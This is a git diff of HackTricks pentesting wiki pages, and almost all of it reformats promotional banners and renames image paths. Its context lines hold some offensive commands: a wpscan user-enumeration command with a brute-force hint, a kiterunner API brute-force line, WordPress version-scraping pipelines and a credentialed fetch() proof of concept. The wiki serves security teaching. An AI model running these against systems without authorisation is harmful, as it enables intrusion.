-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -133,7 +133,7 @@ AutoRepeater Burp Extension: Add a replacement rule
 * `Match: v2 (higher version)`
 * `Replace: v1 (lower version)`
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -223,7 +223,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 * [**API-fuzzer**](https://github.com/Fuzzapi/API-fuzzer): API\_Fuzzer gem accepts a API request as input and returns vulnerabilities possible in the API.
 * [**race-the-web**](https://github.com/TheHackerDev/race-the-web): Tests for race conditions in web applications by sending out a user-specified number of requests to a target URL (or URLs) _simultaneously_, and then compares the responses from the server for uniqueness.
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -231,12 +231,12 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/wordpress.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -99,7 +99,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
 curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -281,7 +281,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -423,7 +423,7 @@ Also, **only install trustable WordPress plugins and themes**.
 * **Limit login attempts** to prevent Brute Force attacks
 * Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 

network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -124,7 +124,7 @@ If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Nod
 </script>
 ```
 
-<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
 
 ## RCE: preload
 
@@ -286,7 +286,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 * [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
 * [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
 * [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
-* ****[**Electro.ng**](https://electro.ng/): You need to buy it
+* \*\*\*\*[**Electro.ng**](https://electro.ng/): You need to buy it
 
 ## Labs
 
@@ -329,12 +329,12 @@ npm start
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/cache-deception.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -123,7 +123,7 @@ The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vul
 
 Example usage: `wcvs -u example.com`
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -227,7 +227,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
 * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -235,12 +235,12 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/clickjacking.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -175,7 +175,7 @@ See the following documentation for further details and more complex examples:
 * [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
 * [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -183,12 +183,12 @@ See the following documentation for further details and more complex examples:
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/domain-subdomain-takeover.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -67,7 +67,7 @@ All of them vulnerable to subdomain takeover. All of them were big brands. Talki
 
 Nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand (see [Apple example](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search)). Having valid SSL certificate (more on that below), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. Think about chances with a legitimate subdomain of this brand.
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -159,7 +159,7 @@ Until next time!
 
 [Patrik](https://twitter.com/0xpatrik)
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -167,12 +167,12 @@ Until next time!
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/http-connection-contamination.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-**The content of this post was taken from** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)****
+**The content of this post was taken from** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\*
 
 Web browsers use [**HTTP connection coalescing**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), which lets them **reuse** a single **HTTP/2+** **connection** for requests going to **different websites**, provided that the sites **resolve to the same IP** address and use a TLS certificate valid for both hostnames.
 
@@ -52,7 +52,7 @@ fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=
 ```
 {% endcode %}
 
-<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 I haven't invested the time required to explore this threat in depth or scan for it in the wild as I believe it's currently rare for two reasons. Firstly, first-request routing is relatively uncommon and HTTP/2's implementation complexity means there's only a small pool of unique HTTP/2 servers relative to HTTP/1.1. Secondly, connection coalescing means HTTP/2 servers performing first-request routing may intermittently break for genuine visitors, so the owners may end up fixing the vulnerability without attacker encouragement.
 
@@ -66,12 +66,12 @@ These new threats continue the ongoing trend of web infrastructure descending in
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

stego/stego-tricks.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
